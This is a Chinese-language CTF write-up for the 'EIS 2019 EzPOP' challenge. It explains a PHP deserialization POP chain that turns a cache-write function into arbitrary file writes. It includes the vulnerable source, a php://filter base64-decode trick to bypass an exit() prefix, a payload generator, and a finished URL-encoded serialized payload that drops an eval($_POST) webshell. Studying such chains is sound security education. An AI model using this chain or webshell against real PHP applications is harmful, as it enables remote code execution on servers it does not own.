[EIS 2019]EzPOP.md

好长的hint.jpg

<?php
error_reporting(0);

class A {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {
    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

获取flag的途径大概只有B::set中的file_put_contents

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

但是写入的data前面跟上了

<?php
// xxxxxxxxxxxx
 exit();?>

于是无法通过直接写入PHP代码来实现RCE

但是由于file_put_contents支持伪协议,可以构造设法使filenamephp://filter/write=convert.base64-decode/resource=shell.php,通过base64解码破坏掉开头的PHP

setfilename的控制

public function set($name, $value, $expire = null): bool{
	// ...
	$filename = $this->getCacheKey($name);
	// ...
}

filename由传给setname参数通过getCacheKey得到

public function getCacheKey(string $name): string {
	return $this->options['prefix'] . $name;
}

getCacheKey简单地将options['prefix']name拼接,因此令options['prefix']''name'php://filter/write=convert.base64-decode/resource=shell.php'即可

setdata处理

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

PHP的base64_decode会忽略掉那些非法字符,于是上面的前缀只有php//xxxxxxxxxxxxexit共21个字符会作为base64被解析

为了使我们经过base64编码之后的木马被顺利解析,需要将前缀被解析的字符凑到4的倍数个,于是data可以简单地设为'000' . '<base64-encoded-php-code>'

$data = $this->serialize($value);
protected function serialize($data): string {
	if (is_numeric($data)) {
		return (string) $data;
	}

	$serialize = $this->options['serialize'];

	return $serialize($data);
}

datavalue参数经过serialize的处理得到,而Bserialize函数通过可变变量调用函数处理data

于是设置options['serialize']'strval'即可原样返回为

A的处理

B并不存在可用的魔术方法来在反序列化时执行代码,只能从A中寻找突破口

public function __destruct() {
	if (!$this->autosave) {
		$this->save();
	}
}

发现A有一个__destruct魔术方法,调用了save函数

public function save() {
	$contents = $this->getForStorage();
	$this->store->set($this->key, $contents, $this->expire);
}

巧的是save刚好存在set函数的调用,令storeB即可

setname参数通过key设置

value参数为contents,通过getForStorage函数获得

public function getForStorage() {
	$cleaned = $this->cleanContents($this->cache);
	return json_encode([$cleaned, $this->complete]);
}
public function cleanContents(array $contents) {
	$cachedProperties = array_flip([...]);

	foreach ($contents as $path => $object) {
		if (is_array($object)) {
			$contents[$path] = array_intersect_key($object, $cachedProperties);
		}
	}

	return $contents;
}

cleanContents可通过控制contents为空数组来返回空数组,也就是令cache[]

complete'000' . '<base64-encoded-php-code>',由于json_encode不产生base64有效字符,所以不会影响解码

payload生成

<?php

class A
{
    protected $store;
    protected $key = 'php://filter/write=convert.base64-decode/resource=shell.php';
    protected $expire;

    public function __construct()
    {
        $this->store = new B();
        $this->cache = [];
        $this->complete = '000PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+';
    }
}

class B
{
    public function __construct()
    {
        $this->options = array(
            'prefix' => '',
            'serialize' => 'strval'
        );
    }
}

print(urlencode(serialize(new A())));

其中PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+<?php eval($_POST['a']); ?>的base64编码

运行得到payload

O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A39%3A%22000PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8%2B%22%3B%7D

#Web #PHP #serialization #base64 #伪协议 #可变变量